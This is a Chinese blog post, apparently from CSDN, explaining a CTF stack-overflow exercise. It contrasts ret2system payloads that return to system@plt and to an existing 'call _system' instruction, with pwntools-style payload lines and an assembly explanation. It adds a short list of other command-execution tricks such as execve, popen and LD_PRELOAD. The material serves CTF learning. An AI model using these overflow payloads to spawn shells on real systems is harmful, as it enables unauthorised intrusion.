【PWN · 总结】call _system与system调用

call _system 相比于直调system,可以节省栈空间哦~


前言

栈溢出漏洞但是限制溢出字符数,倒逼我们减少溢出内容。

习题:NSSCTF | 在线CTF平台


构造payload的时候有两种方式构造
第一种,溢出后的返回地址是system的地址,也就是plt表中system的地址

system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(0)  + p32(binsh_addr)

第二种,溢出后的返回地址是call system的地址,这是程序中出现过的调用system的地址

system_addr = 0x08048320
binsh_addr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(system_addr) + p32(binsh_addr)

为什么调用system的plt地址时,要比调用call system的调用地址时多构造四个字节?

首先,我们想要程序执行的是

system('/bin/sh');

合法的程序在编译这一步时,实际上执行的是

lea eax, [address_binsh_str]
push eax
call system

进一步对call指令进行分解,执行call指令相当于

push ip					;执行system_addr之后的返回地址
jmp system_addr

因此,直接调用system函数时,在system地址后面要接上一个返回地址,再接上system函数的参数

而如果调用的是call system的话,返回到call system之后,才会执行push ip的操作,这个时候的push操作不需要我们关心,因此payload直接就是call_system_addr + binsh_addr
————————————————
版权声明:本文为CSDN博主「Morphy_Amo」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Morphy_Amo/article/details/121757953


 利用方法

左侧找到相关函数,双击。 

选中一行 _system  按x键,即交叉引用,找到程序中用到_system的其他位置

即可找到相关代码段

  • 4
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 12
    评论
没有`system`函数的pwn指的是在pwn题目中,限制了我们不能直接使用`system`函数来执行系统命令的情况,这通常是出于安全考虑,以防止恶意用户滥用系统权限。 在这种情况下,我们需要使用一些其他的方法来达到我们的目的,常见的方法有以下几种: 1. 利用已有的函数:通过检查题目给出的已有函数列表,寻找可以执行系统命令的函数。例如,可以尝试使用`execve`函数或者`popen`函数来执行命令。 2. 利用文件IO:在某些情况下,我们可以通过读写文件来实现执行系统命令的效果。例如,我们可以通过读取特定的文件,获取系统敏感信息,或者在某些可写的文件中,写入系统命令并执行。 3. 利用已有的程序逻辑:通过分析题目中给出的已有代码,寻找可以被利用的漏洞。例如,可能存在栈溢出、格式化字符串漏洞或者任意写等,通过这些漏洞可以实现执行系统命令的效果。 4. 利用动态链接库:在某些情况下,我们可以通过加载自定义的动态链接库来执行系统命令。例如,可以使用`LD_PRELOAD`环境变量来加载我们自己编写的动态链接库,使其替换掉原有的函数,达到执行系统命令的效果。 除了以上方法,还有很多其他的技巧和方法,都需要根据具体的题目来进行分析和判断。在解决这类问题时,我们需要仔细审查题目给出的代码、函数列表和已有的漏洞,在找到合适的方法后,进行代码编写和测试。有时可能需要结合调试工具,如gdb,来进行进一步的分析和验证。最终目的是通过巧妙的代码构造,实现执行系统命令的功能。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 12
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值